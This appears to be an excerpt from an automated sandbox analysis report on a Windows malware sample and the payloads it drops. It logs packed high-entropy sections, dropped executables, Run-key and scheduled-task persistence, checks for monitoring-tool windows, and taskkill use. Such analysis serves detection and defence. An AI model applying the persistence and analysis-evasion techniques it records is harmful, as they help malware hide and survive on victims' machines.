Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: znqcpoet
Source: random[1].exe.6.dr	Static PE information: section name: hmwsaqwi
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: hyifqwux
Source: random[1].exe0.6.dr	Static PE information: section name: kzjybfum
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name:
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name: .idata
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name:
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name: hyifqwux
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name: kzjybfum
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: yqttidiy
Source: random[1].exe1.6.dr	Static PE information: section name: gxgxfcij
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: e01d8601b1.exe.6.dr	Static PE information: section name:
Source: e01d8601b1.exe.6.dr	Static PE information: section name: .idata
Source: e01d8601b1.exe.6.dr	Static PE information: section name:
Source: e01d8601b1.exe.6.dr	Static PE information: section name: yqttidiy
Source: e01d8601b1.exe.6.dr	Static PE information: section name: gxgxfcij
Source: e01d8601b1.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: mjddytxu
Source: random[2].exe.6.dr	Static PE information: section name: vefxxbiz
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 74f23764ea.exe.6.dr	Static PE information: section name:
Source: 74f23764ea.exe.6.dr	Static PE information: section name: .idata
Source: 74f23764ea.exe.6.dr	Static PE information: section name: mjddytxu
Source: 74f23764ea.exe.6.dr	Static PE information: section name: vefxxbiz
Source: 74f23764ea.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9C9FE push esi; ret	10_2_00F9CA01
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F50A76 push ecx; ret	10_2_00F50A89
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9CA33 push esi; ret	10_2_00F9CA36
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_05BD5FD7 push ebx; iretd	13_3_05BD5FE2
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_05BD5FD7 push ebx; iretd	13_3_05BD5FE2
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_05BD5FD7 push ebx; iretd	13_3_05BD5FE2
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_05BD5FD7 push ebx; iretd	13_3_05BD5FE2
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Code function: 13_3_01679A80 push ebp; ret	13_3_01679AA6

Source: file.exe	Static PE information: section name: entropy: 7.980899861385072
Source: file.exe	Static PE information: section name: shrhbpjb entropy: 7.952958401054796
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.980899861385072
Source: skotes.exe.0.dr	Static PE information: section name: shrhbpjb entropy: 7.952958401054796
Source: random[1].exe.6.dr	Static PE information: section name: znqcpoet entropy: 7.95543664362152
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.975063363546765
Source: random[1].exe0.6.dr	Static PE information: section name: hyifqwux entropy: 7.953963317335997
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name: entropy: 7.975063363546765
Source: 0db0ccc3ed.exe.6.dr	Static PE information: section name: hyifqwux entropy: 7.953963317335997
Source: random[1].exe1.6.dr	Static PE information: section name: yqttidiy entropy: 7.953903563847724
Source: e01d8601b1.exe.6.dr	Static PE information: section name: yqttidiy entropy: 7.953903563847724
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.7891212286261755
Source: 74f23764ea.exe.6.dr	Static PE information: section name: entropy: 7.7891212286261755

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e01d8601b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bebc60ce74.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0db0ccc3ed.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 74f23764ea.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0db0ccc3ed.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0db0ccc3ed.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e01d8601b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e01d8601b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bebc60ce74.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bebc60ce74.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 74f23764ea.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 74f23764ea.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F4F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		10_2_00F4F98E
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FC1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		10_2_00FC1C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
